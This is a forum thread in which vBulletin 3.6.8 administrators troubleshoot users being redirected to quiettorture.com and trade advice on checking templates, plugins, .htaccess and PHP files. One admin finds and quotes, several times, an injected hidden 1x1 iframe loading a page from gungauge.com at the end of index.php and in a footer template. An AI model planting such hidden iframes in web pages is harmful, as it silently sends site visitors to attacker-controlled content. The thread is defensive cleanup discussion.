vBulleting hacked by Quiettorture?

[HawKe]

I'm having a very tough time figuring out exactly whether or not my instance of vBulletin has somehow been compromised or hacked (v3.6.8). Several (more than a few) of my members have alerted me that they are getting redirected to a dead website when visiting our forums with IE7. A few have indicated it happening on other vBulletin sites, but it does not happen anywhere else (non-vBulletin browsing).

The site they are being redirected to is www DOT quiettorture DOT com which appears to be dead. It also seems to be the site of a runescape clan according to a YouTube video (http://www.youtube.com/watch?v=SAUGlNAwGko).

If you Google it, please watch out for unsavory sites.

Here is what I can dig up so far:

Feedback from the thread on our site: http://forums.audioholics.com/forums/showthread.php?t=41997

Another Italian thread (http://translate.google.com/translate?hl=en&sl=it&u=http://www.cookaround.com/yabbse1/showthread.php%3Fp%3D939974&sa=X&oi=translate&resnum=8&ct=result&prev=/search%3Fq%3Dquiettorture%26hl%3Den%26rlz%3D1B3GGG L_enUS226US226%26pwst%3D1) that encountered it...

...and so did this site: http://www.e-budo.com/forum/showthread.php?p=460906

I'd love any feedback the community might have...

[SEOvB]

check your templates for redirects

[fmntprsv]

Hi, some users of my forum also talks the same. Curiously i don´t see this. I have vb 3.6.8 Patch 1, and also i have read the same of Hawke.

¿Anybody have this issue? Thanks in advance

[Dismounted]

Did you read FRDS's post?

[fmntprsv]

Yes dismounted i did read it. The template that i have used for more than four months and this issue happens since three days.

Thanks in advance

[Dismounted]

Yes, but if the hacker put arbitrary code into your templates, you wouldn't know but it'd still be there.

[fmntprsv]

Ok, i was search in the template for quiettorture, torture, quiet and only obtain this:

newreply_reviewbit_ignore_global

<phrase 1="$post[username]">$vbphrase[administrator_decided_x_quiet]</phrase>

and

postbit_ignore_global

<table id="post$post[postid]" class="tborder" cellpadding="$stylevar[cellpadding]" cellspacing="$stylevar[cellspacing]" border="0" width="100%" align="center">
<tr title="<phrase 1="$post[postid]">$vbphrase[post_x]</phrase>">
<td class="thead" style="font-weight:normal" $post[scrolltothis]>
<if condition="$show['inlinemod']">
<input type="checkbox" name="plist[$postid]" id="plist_$postid" style="float:$stylevar[right]; vertical-align:middle; padding:0px; margin:0px 0px 0px 5px" value="$post[checkbox_value]" onclick="inlineMod.toggle(this)" />
</if>
<a style="float:$stylevar[right]" href="showpost.php?$session[sessionurl]p=$post[postid]" target="_blank" rel="nofollow" onclick="return display_post($post[postid]);">$vbphrase[view_post]</a>
<a name="post$post[postid]"><img class="inlineimg" src="$stylevar[imgdir_statusicon]/post_$post[statusicon].gif" alt="$post[statustitle]" border="0" /></a>
$post[postdate]<if condition="!$show['detailedtime']">, $post[posttime]</if> $post[firstnewinsert]
</td>
</tr>
<tr>
<td class="alt2">
<a href="member.php?$session[sessionurl]u=$post[userid]">$post[musername]</a>
</td>
</tr>


<tr>
<td class="alt1">
<if condition="$show['moderated']">
<div style="float:$stylevar[right]"><img src="$stylevar[imgdir_misc]/moderated.gif" alt="$vbphrase[moderated_post]" border="0" /></div>
</if>
<if condition="$show['deletedpost']">
<div style="float:$stylevar[right]"><img src="$stylevar[imgdir_misc]/trashcan.gif" alt="$vbphrase[deleted_post]" border="0" /></div>
</if>
<div class="smallfont">
<phrase 1="$post[username]">$vbphrase[administrator_decided_x_quiet]</phrase>
</div>

</td>
</tr>
</table>

and

printthreadbit_ignore

<table class="tborder" cellpadding="$stylevar[cellpadding]" cellspacing="1" border="0" width="100%">
<tr>
<td class="page">

<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr valign="bottom">
<td style="font-size:14pt">$post[username]</td>
<td class="smallfont" align="$stylevar[right]">$post[postdate] $post[posttime]</td>
</tr>
</table>

<hr />

<if condition="$show['adminignore']">
<div class="smallfont">
<phrase 1="$post[username]">$vbphrase[administrator_decided_x_quiet]</phrase>
</div>
<else />
<div class="smallfont">
<phrase 1="$post[username]" 2="profile.php?$session[sessionurl]do=editlist">$vbphrase[message_hidden_x_on_ignore_list]</phrase></span>
</div>
</if>
</td>
</tr>
</table>
<br />

i thinks these instructions are legitimes of vbulletin...

Thanks in advance.. !

[Dismounted]

Look at your plugin list, is there anything unusual there? Also, look in your .htaccess file.

[fmntprsv]

Thanks for your interest dismounted, i?m going to check my plugins, and my .htaccess it?s correct.

Thanks again, but it?s possible that the problem it?s a new spyware, more info at: www.forospyware.com%2Ft135658.html%23post654024

[Phaedrus]

Check your actual index.php files and home.php files. If somebody gets your FTP password they can upload new php with redirects in them. They are relatively easy to clean up. This happened to my site a while back when my server company was compromised.

[fmntprsv]

Thanks a lot Phaedrus, i check my index.php in the server and the finish of these archive i see this:

<iframe name="iwindow" style="border:0px solid white" scrolling=no width=1 height=1 align=top frameborder=0 src="http://gungauge.com/adbrite.html"></iframe>

Obviously this is not mine!

--------------- Added 1205076693 at 1205076693 ---------------

I don?t have any home.php in my server

[Phaedrus]

Thanks a lot Phaedrus, i check my index.php in the server and the finish of these archive i see this:

<iframe name="iwindow" style="border:0px solid white" scrolling=no width=1 height=1 align=top frameborder=0 src="http://gungauge.com/adbrite.html"></iframe>

Obviously this is not mine!

--------------- Added 1205076693 at 1205076693 ---------------

I don?t have any home.php in my server

Just make sure to check every index.php file, all of them everywhere on the server.

--------------- Added 1205076927 at 1205076927 ---------------

Also don't forget to change your FTP Password to something incomprehensible. A good strong password.

And also check all index.html pages. They'll have inserted it there too.

[fmntprsv]

hawke search this at the footer of the template:

<iframe name="iwindow" style="border:0px solid white" scrolling=no width=1 height=1 align=top frameborder=0 src="http://gungauge.com/adbrite.html"></iframe>

i have these "script"

[snakes1100]

Check global.php at the bottom of the file.

If you have vbadvanced, check the vba_cmps_include_template.php file as well

[fmntprsv]

thanks snakes1100, i don´t have any suspicious.

[HawKe]

hawke search this at the footer of the template:

<iframe name="iwindow" style="border:0px solid white" scrolling=no width=1 height=1 align=top frameborder=0 src="http://gungauge.com/adbrite.html"></iframe>


i have these "script"I found it in the footer... Nothing in the other locations. I'm checking my logs.

[fmntprsv]

this is the question friend hawke. i?m very confused.

also check in your server the file index.php also it have these instruction.

Best regards hawke!

now i don?t have problems with ih

--------------- Added 1205151116 at 1205151116 ---------------

hawke any question contact to me. best regards